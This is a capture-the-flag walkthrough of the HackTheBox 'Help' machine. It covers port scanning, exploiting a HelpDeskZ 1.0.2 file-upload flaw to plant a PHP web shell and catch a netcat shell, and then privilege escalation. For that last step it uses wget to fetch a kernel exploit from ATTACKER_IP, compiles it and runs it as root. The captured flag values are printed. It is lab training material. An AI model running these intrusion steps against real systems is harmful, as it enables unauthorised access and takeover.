This documentation provides a comprehensive walkthrough of the penetration testing process for the Help machine from HackTheBox. The box involves web application exploitation, privilege escalation, and kernel vulnerability exploitation.
export target=10.129.230.159
echo "Target IP set to: $target"
# Comprehensive port scan
sudo nmap -p- --min-rate 5000 -sT -vvv $target
# Service and version detection
sudo nmap -sC -sV -p 22,80,3000 -T4 $target
Discovered Services:
# Add domain to hosts file
echo "$target help.htb" | sudo tee -a /etc/hosts
Key Discovery: /support directory hosting HelpDeskZ application.
The HelpDeskZ version was identified by accessing:
http://help.htb/support/readme.html
searchsploit helpdeskz
Identified Exploit: HelpDeskZ 1.0.2 - Arbitrary File Upload (ExploitDB ID: 40300)
searchsploit -m 40300
http://help.htb/support/?v=submit_ticket&action=displayForm
# Generate shell URL using the exploit
python2 40300.py http://help.htb/support/uploads/tickets/ shell.php
# Set up listener
nc -nlvp 9001
# Trigger the shell
curl http://help.htb/support/uploads/tickets/[GENERATED_HASH].php
Successfully obtained a shell as user help:
whoami
# help
cat /home/help/user.txt
# c4a45fefa1e4dcd8ddcca8777ab9ffde
uname -a
# Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Vulnerability: Linux Kernel 4.4.0-116 Generic Privilege Escalation
# On attacker machine
python3 -m http.server
# On target machine
wget http://ATTACKER_IP:8000/44298.c -O exploit.c
gcc -o exploit exploit.c
./exploit
Successfully elevated to root privileges:
whoami
# root
cat /root/root.txt
# 8df818bc2013e9b03c18234fdd0449b6
This walkthrough is for educational purposes only. Always ensure you have proper authorization before conducting penetration testing activities.